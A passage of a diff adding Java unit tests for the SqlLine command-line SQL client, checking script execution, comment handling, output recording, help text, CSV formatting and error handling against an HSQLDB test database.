+            + "+-----+----+"));
+  }
+
+  /**
+   * Attempt to execute a simple script file with the -f option to SqlLine.
+   * Test for presence of an expected pattern
+   * in the output (stdout or stderr), fail if not found.
+   */
+  @Test
+  public void testPositiveScriptFile() {
+    checkScriptFile("call 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * As above, but using '-run' rather than '-f'.
+   */
+  @Test
+  public void testPositiveScriptFileUsingRun() {
+    checkScriptFile("call 100 + 23;\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/42">[SQLLINE-42],
+   * Script fails if first line is a comment</a>.
+   */
+  @Test
+  public void testScriptFileStartsWithComment() {
+    final String scriptText = "-- a comment\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileStartsWithEmptyLine() {
+    final String scriptText = "\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileContainsComment() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithComments() {
+    final String scriptText = "--comment\n\n"
+        + "values \n10 \n+ \n23;\n\n\n"
+        + "-- a comment\n"
+        + "\n\nvalues "
+            + "--comment inside\n\n"
+            + "100 --comment inside\n\n"
+            + "+ \n\n23\n\n\n;\n\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithMultilineQuotedStrings() {
+    final String scriptText = "--comment\n\n"
+        + "values '\nmultiline;\n;\n; string\n'"
+        + ";\n\n\n"
+        + "values '\nmultiline2;\n;\n; string2\n'"
+        + ";\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString("multiline2;"), containsString("; string2")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment\n\n"
+        + "values 1;values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 1  |\n"
+                + "+----+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsAndCommentsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment;;\n\n"
+        + "select * from (values ';') t (\";\");/*;select 1;*/values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+---+\n"
+                + "| ; |\n"
+                + "+---+\n"
+                + "| ; |\n"
+                + "+---+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+  /**
+   * Tests sql with H2 specific one-line comment '//'
+   */
+  @Test
+  public void testMultilineScriptWithH2Comments() {
+    final SqlLine sqlLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      final File tmpHistoryFile = createTempFile("queryToExecute", "temp");
+      try (BufferedWriter bw =
+               new BufferedWriter(
+                   new OutputStreamWriter(new FileOutputStream(tmpHistoryFile),
+                       StandardCharsets.UTF_8))) {
+        final String script = "\n"
+            + "\n"
+            + "!set incremental true\n"
+            + "\n"
+            + "\n"
+            + "select * from information_schema.tables// ';\n"
+            + "// \";"
+            + ";\n"
+            + "\n"
+            + "\n";
+        bw.write(script);
+        bw.flush();
+      }
+      SqlLine.Status status =
+          begin(sqlLine, os, false,
+              "-u", ConnectionSpec.H2.url,
+              "-n", ConnectionSpec.H2.username,
+              "--run=" + tmpHistoryFile.getAbsolutePath());
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CATALOG | TABLE_SCHEMA |"
+          + " TABLE_NAME | TABLE_TYPE | STORAGE_TYPE | SQL  |";
+      assertThat(output, containsString(expected));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/72">[SQLLINE-72]
+   * Allow quoted file names (including spaces) in <code>!record</code>,
+   * <code>!run</code> and <code>!script</code> commands</a>. */
+  @Test
+  public void testScriptFilenameWithSpace() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23;\n";
+    File scriptFile = createTempFile("Script with Spaces", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+
+      Pair pair = runScript(scriptFile, true, null);
+      assertThat(pair.status, equalTo(SqlLine.Status.OK));
+      assertThat(pair.output,
+          allOf(containsString(" 33 "), containsString(" 123 ")));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScriptWithOutput() {
+    final String scriptText = "!set maxcolumnwidth 20\n"
+        + "!set incremental true\n"
+        + "values 100 + 123;\n"
+        + "-- a comment\n"
+        + "values 100 + 253;\n";
+
+    File scriptFile = createTempFile("Script file name", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+
+    File outputFile = createTempFile("testScriptWithOutput", ".out");
+    runScript(scriptFile, true, outputFile.getAbsolutePath());
+    assertFileContains(outputFile,
+        allOf(containsString("| 223                  |"),
+            containsString("| 353                  |")));
+    final boolean delete = outputFile.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * Values that contain null.
+   */
+  @Test
+  public void testNull() {
+    final String script = "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString(
+            "+-------------+-------------+-----+\n"
+            + "|     C1      |     C2      | C3  |\n"
+            + "+-------------+-------------+-----+\n"
+            + "| 1           | null        |     |\n"
+            + "+-------------+-------------+-----+\n"));
+  }
+
+  @Test
+  public void testScan() {
+    final String expectedLine0 = "Compliant Version Driver Class";
+    final String expectedLine1 = "yes       2.4     org.hsqldb.jdbc.JDBCDriver";
+    checkScriptFile("!scan\n", false,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(expectedLine0), containsString(expectedLine1)));
+  }
+
+  /**
+   * Table output without header.
+   */
+  @Test
+  public void testTableOutputNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("| 1           | null        |     |\n"));
+  }
+
+  /**
+   * Csv output without header.
+   */
+  @Test
+  public void testCsvNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set outputformat csv\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("'1','null',''\n"));
+  }
+
+  /**
+   * Tests the "close" command,
+   * <a href="https://issues.apache.org/jira/browse/HIVE-5768">[HIVE-5768]
+   * Beeline connection cannot be closed with '!close' command</a> and
+   * <a href="https://github.com/julianhyde/sqlline/issues/139">[SQLLINE-139]
+   * Look for the exact match if there are multiple matches</a>.
+   */
+  @Test
+  public void testClose() {
+    final String expected = "!close\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile("!close\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/32">[SQLLINE-32]
+   * !help set' should print documentation for all variables</a>.
+   */
+  @Test
+  public void testHelpSet() {
+    final String expected = "1/1          !help set\n"
+        + "!set                List / set a sqlline variable\n"
+        + "\n"
+        + "Variables:\n"
+        + "\n"
+        + "Variable        Value      Description\n"
+        + "=============== ========== "
+        + "==================================================\n"
+        + "autoCommit      true/false "
+        + "Enable/disable automatic transaction commit\n"
+        + "autoSave        true/false Automatically save preferences\n";
+    checkScriptFile("!help set\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+
+    // Make sure that each variable (autoCommit, autoSave, color, etc.) has a
+    // line in the output of '!help set'
+    final SqlLine sqlLine = new SqlLine();
+    String help = sqlLine.loc("help-set")
+        + sqlLine.loc("variables");
+
+    final TreeSet<String> propertyNamesMixed =
+        Arrays.stream(BuiltInProperty.values())
+            .map(BuiltInProperty::propertyName)
+            .collect(Collectors.toCollection(TreeSet::new));
+    for (String p : propertyNamesMixed) {
+      assertThat(help, containsString("\n" + p + " "));
+    }
+    assertThat(propertyNamesMixed.contains("autoCommit"),
+        is(true));
+    assertThat(propertyNamesMixed.contains("autocommit"),
+        is(false));
+    assertThat(propertyNamesMixed.contains("trimScripts"),
+        is(true));
+
+    while (help.length() > 0) {
+      int i = help.indexOf("\n", 1);
+      if (i < 0) {
+        break;
+      }
+      if (i > 78) {
+        fail("line exceeds 78 chars: " + i + ": " + help.substring(0, i));
+      }
+      help = help.substring(i);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/39">[SQLLINE-39]
+   * 'help set' should not break long lines</a>.
+   *
+   * <p>But it should break 'help all', which consists of a single long line.
+   */
+  @Test
+  public void testHelpAll() {
+    // Note that "connections" has been broken onto a new line.
+    final String expected = "1/1          !help all\n"
+        + "!all                Execute the specified SQL against all the current\n"
+        + "                    connections\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+        + "sqlline version ???\n";
+    checkScriptFile("!help all\n", false, equalTo(SqlLine.Status.OK),
+        is(expected));
+  }
+
+  /**
+   * Tests "!go &lt;non-existent connection indexes&gt;".
+   */
+  @Test
+  public void testGoFailing() {
+    final String[] connectionIndexes = {"321", "invalid"};
+    for (String connectionIndex : connectionIndexes) {
+      final String script = "!go " + connectionIndex + "\n";
+      final String expected = "Invalid connection: " + connectionIndex;
+      checkScriptFile(script, false,
+          // Status.OTHER as checking of fail cases
+          equalTo(SqlLine.Status.OTHER), containsString(expected));
+    }
+  }
+
+  /**
+   * Tests "!help go". "go" and "#" are synonyms.
+   */
+  @Test
+  public void testHelpGo() {
+    for (String c : new String[] {"go", "#"}) {
+      final String expected = "1/1          !help " + c + "\n"
+          + "!go                 Select the current connection\n"
+          + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+          + "sqlline version ???\n";
+      checkScriptFile("!help " + c + "\n", false, equalTo(SqlLine.Status.OK),
+          is(expected));
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/121">!?, !#
+   * and other one-symbol length commands stopped working</a>
+   *
+   * <p>'!?' should work in the same way as '!help'.
+   */
+  @Test
+  public void testHelpAsQuestionMark() {
+    final String script = "!?\n";
+    final String expected =
+        "!autocommit         Set autocommit mode on or off";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Unknown command: ?")),
+            containsString(expected)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/49">[SQLLINE-49]
+   * !manual command fails</a>.
+   */
+  @Test
+  public void testManual() {
+    final String expectedLine = "sqlline version";
+    try (ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
+      new MockUp<Commands>() {
+        @Mock
+        void less(Terminal terminal, InputStream in, PrintStream out,
+            PrintStream err, Path currentDir, String[] argv) {
+        }
+      };
+
+      SqlLine beeLine = new SqlLine();
+      SqlLine.Status status =
+          begin(beeLine, baos, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      beeLine.runCommands(new DispatchCallback(), "!manual");
+      String output = baos.toString("UTF8");
+
+      assertThat(output, containsString(expectedLine));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/38">[SQLLINE-38]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRunFromHome() {
+    try {
+      Path tmpDir =
+          Files.createTempDirectory(
+              Paths.get(System.getProperty("user.home")),
+              "tmpdir" + System.nanoTime());
+      tmpDir.toFile().deleteOnExit();
+
+      File tmpFile = createTempFile("test", ".sql", tmpDir);
+      try (Writer fw = new OutputStreamWriter(
+          new FileOutputStream(tmpFile), StandardCharsets.UTF_8)) {
+        fw.write("!set outputformat csv\n");
+        fw.write("values (1, 2, 3, 4, 5);");
+        fw.flush();
+        checkScriptFile("!run ~" + File.separatorChar
+                + tmpDir.getFileName()
+                + File.separatorChar + tmpFile.getName().toString(),
+            false,
+            equalTo(SqlLine.Status.OK),
+            allOf(containsString("!set outputformat csv"),
+                containsString("values (1, 2, 3, 4, 5);")));
+      }
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/26">[SQLLINE-26]
+   * Flush output for each command when using !record command</a>.
+   */
+  @Test
+  public void testRecord() {
+    File file = createTempFile("sqlline", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+                + "2/8          values 1;\n"
+                + "\\+-------------\\+\n"
+                + "\\|     C1      \\|\n"
+                + "\\+-------------\\+\n"
+                + "\\| 1           \\|\n"
+                + "\\+-------------\\+\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "3/8          !record .*.log\n"
+                + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+                + "4/8          !set outputformat csv\n"
+                + "5/8          values 2;\n"
+                + "'C1'\n"
+                + "'2'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "6/8          !record\n"
+                + "Recording stopped.\n"
+                + "7/8          !set outputformat csv\n"
+                + "8/8          values 3;\n"
+                + "'C1'\n"
+                + "'3'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/62">[SQLLINE-62]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRecordHome() {
+    File home = new File(System.getProperty("user.home"));
+    File file;
+    for (int i = 0;; i++) {
+      file = new File(home, "sqlline" + i + ".log");
+      if (!file.exists()) {
+        break;
+      }
+    }
+    file.deleteOnExit();
+    final String s = "Saving all output to \".*.log\". "
+        + "Enter \"record\" with no arguments to stop it.\n"
+        + "2/4          !set outputformat csv\n"
+        + "3/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "4/4          !record\n";
+    checkScriptFile("!record " + file.getAbsolutePath() + "\n"
+            + "!set outputformat csv\n"
+            + "values 2;\n"
+            + "!record\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/4          !record .*.log\n"
+            + s
+            + "Recording stopped.\n"
+            + ".*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file, RegexMatcher.of(s));
+    final boolean delete = file.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * As {@link #testRecord()}, but file name is double-quoted and contains a
+   * space.
+   */
+  @Test
+  public void testRecordFilenameWithSpace() {
+    File file = createTempFile("sqlline file with spaces", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+            + "2/8          values 1;\n"
+            + "\\+-------------\\+\n"
+            + "\\|     C1      \\|\n"
+            + "\\+-------------\\+\n"
+            + "\\| 1           \\|\n"
+            + "\\+-------------\\+\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "3/8          !record .*.log\n"
+            + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"
+            + "Recording stopped.\n"
+            + "7/8          !set outputformat csv\n"
+            + "8/8          values 3;\n"
+            + "'C1'\n"
+            + "'3'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  private static void assertFileContains(File file, Matcher<String> matcher) {
+    try (BufferedReader br = new BufferedReader(
+        new InputStreamReader(new FileInputStream(file),
+            StandardCharsets.UTF_8.name()))) {
+      final StringWriter stringWriter = new StringWriter();
+      for (;;) {
+        final String line = br.readLine();
+        if (line == null) {
+          break;
+        }
+        stringWriter.write(line);
+        stringWriter.write("\n");
+      }
+      assertThat(toLinux(stringWriter.toString()), matcher);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/61">[SQLLINE-61]
+   * Add !nickname command</a>.
+   */
+  @Test
+  public void testNickname() {
+    final String script = "!set outputformat csv\n"
+        + "values 1;\n"
+        + "!nickname foo\n"
+        + "values 2;\n";
+    final String expected = "(?s)1/4          !set outputformat csv\n"
+        + "2/4          values 1;\n"
+        + "'C1'\n"
+        + "'1'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "3/4          !nickname foo\n"
+        + "4/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * The first command should fail and the second command should not execute.
+   */
+  @Test
+  public void testBreakOnErrorScriptFile() {
+    checkScriptFile("select * from abcdefg01;\ncall 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OTHER),
+        not(containsString(" 123 ")));
+  }
+
+  /**
+   * Emulation of Apache Hive behavior with throwing exceptions
+   * while calling {@link DatabaseMetaData#storesUpperCaseIdentifiers()}
+   * and {@link DatabaseMetaData#supportsTransactionIsolationLevel(int)}.
+   *
+   * <p>Also please see
+   * <a href="https://github.com/julianhyde/sqlline/issues/183">[SQLLINE-183]</a>.
+   *
+   * @param meta Mocked JDBCDatabaseMetaData
+   */
+  @Test
+  public void testExecutionWithNotSupportedMethods(
+      @Mocked final JDBCDatabaseMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+
+          // emulate apache hive behavior
+          meta.supportsTransactionIsolationLevel(4);
+          result = new SQLException("Method not supported");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback dc = new DispatchCallback();
+      sqlLine.initArgs(args, dc);
+      os.reset();
+      sqlLine.runCommands(dc,
+          "!set incremental true",
+          "values 1;");
+      final String output = os.toString("UTF8");
+      final String line0 = "+-------------+";
+      final String line1 = "|     C1      |";
+      final String line2 = "+-------------+";
+      final String line3 = "| 1           |";
+      final String line4 = "+-------------+";
+      assertThat(output,
+          CoreMatchers.allOf(containsString(line0),
+              containsString(line1),
+              containsString(line2),
+              containsString(line3),
+              containsString(line4)));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  @Test
+  public void testExecutionException(@Mocked final JDBCDatabaseMetaData meta,
+      @Mocked final JDBCResultSet resultSet) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getSQLKeywords();
+          result = "";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+          // Generate an exception on a call to resultSet.next
+          resultSet.next();
+          result = new SQLException("Generated Exception.");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      // If sqlline is not initialized, handleSQLException will print
+      // the entire stack trace.
+      // To prevent that, forcibly set init to true.
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
+          "CREATE TABLE rsTest ( a int);",
+          "insert into rsTest values (1);",
+          "insert into rsTest values (2);",
+          "select a from rsTest; ");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("Generated Exception"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Attempts to execute a missing script file with the -f option to SqlLine.
+   */
+  @Test
+  public void testNegativeScriptFile() {
+    // Create and delete a temp file
+    File scriptFile = createTempFile("sqllinenegative", "temp");
+    final boolean delete = scriptFile.delete();
+    assertThat(delete, is(true));
+
+    Pair pair = runScript(scriptFile, true, null);
+    assertThat(pair.status, equalTo(SqlLine.Status.OTHER));
+    assertThat(pair.output, not(containsString(" 123 ")));
+  }
+
+  /** Displays usage. */
+  @Test
+  public void testUsage() {
+    Pair pair = run("--help");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  private int countUsage(String output) {
+    int n = 0;
+    for (String line : output.split("\n")) {
+      if (line.contains("Usage")) {
+        ++n;
+      }
+    }
+    return n;
+  }
+
+  /** Invalid arguments. */
+  @Test
+  public void testInvalidArguments() {
+    Pair pair = run("--fuzz");
+    assertThat(pair.status, equalTo(SqlLine.Status.ARGS));
+    assertThat(pair.output, containsString("-f <file>"));
+    assertThat(countUsage(pair.output), equalTo(1));
+  }
+
+  /** Result of executing sqlline: status code and output. */
+  static class Pair {
+    final SqlLine.Status status;
+    final String output;
+
+    Pair(SqlLine.Status status, String output) {
+      this.status = status;
+      this.output = output;
+    }
+  }
+
+  @Test
+  public void testIsolationSetting() {
+    final String script0 = "!isolation TRANSACTION_NONE\n";
+    final String expected = "Transaction isolation level TRANSACTION_NONE "
+        + "is not supported. Default (TRANSACTION_READ_COMMITTED) "
+        + "will be used instead.";
+    checkScriptFile(script0, true, equalTo(SqlLine.Status.OTHER),
+        containsString(expected));
+  }
+
+  @Test
+  public void testDefaultIsolation() {
+    final String script1 = "!isolation default\n";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Transaction isolation level")),
+            not(containsString("is not supported"))));
+  }
+
+  /**
+   * HIVE-4566, "NullPointerException if typeinfo and nativesql commands are
+   * executed at beeline before a DB connection is established".
+   */
+  @Test
+  public void testNPE() {
+    SqlLine sqlLine = new SqlLine();
+
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    PrintStream sqllineOutputStream = getPrintStream(os);
+    sqlLine.setOutputStream(sqllineOutputStream);
+    sqlLine.setErrorStream(sqllineOutputStream);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!typeinfo");
+      String output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+
+      sqlLine.runCommands(new DispatchCallback(), "!nativesql");
+      output = os.toString("UTF8");
+      assertThat(
+          output, not(containsString("java.lang.NullPointerException")));
+      assertThat(output, containsString("No current connection"));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandlerOnStartup() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final String[] args = {
+        "-e", "!set maxwidth 80",
+        "-ch", "sqlline.extensions.HelloWorldCommandHandler"};
+    begin(sqlLine, os, false, args);
+
+    try {
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!test");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD"));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello test"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testCommandHandler() {
+    SqlLine sqlLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    begin(sqlLine, os, false, "-e", "!set maxwidth 80");
+
+    try {
+      final String script = "!commandhandler"
+          + " sqlline.extensions.HelloWorld2CommandHandler"
+          + " sqlline.extensions.HelloWorldCommandHandler";
+      sqlLine.runCommands(new DispatchCallback(), script);
+      sqlLine.runCommands(new DispatchCallback(), "!hello");
+      String output = os.toString("UTF8");
+      assertThat(output, containsString("HELLO WORLD2"));
+      final String expected = "Could not add command handler "
+          + "sqlline.extensions.HelloWorldCommandHandler as one of commands "
+          + "[hello, test] is already present";
+      assertThat(output, containsString(expected));
+      os.reset();
+      sqlLine.runCommands(new DispatchCallback(), "!help hello");
+      output = os.toString("UTF8");
+      assertThat(output, containsString("help for hello2"));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testTablesCsv() {
+    final String script = "!set outputformat csv\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("'TABLE_CAT','TABLE_SCHEM','TABLE_NAME',"),
+            containsString("'PUBLIC','SCOTT','SALGRADE','TABLE','',")));
+  }
+
+  /**
+   *  java.lang.NullPointerException test case from
+   *  https://github.com/julianhyde/sqlline/pull/86#issuecomment-410868361
+   */
+  @Test
+  public void testCsvDelimiterAndQuoteCharacter() {
+    final String script = "!set outputformat csv\n"
+        + "!set csvDelimiter null\n"
+        + "!set csvQuoteCharacter @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!set csvDelimiter ##\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@null@C2@null@C3@null@C4@null@C5@null@C6@";
+    final String line2 =
+        "@#@null@@@#@@@null@1@null@1969-07-20@null@@null@ 1'2\"3\t4@";
+    final String line3 = "@C1@##@C2@##@C3@##@C4@##@C5@##@C6@";
+    final String line4 = "@#@##@@@#@@@##@1@##@1969-07-20@##@@##@ 1'2\"3\t4@";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testCsvOneLiner() {
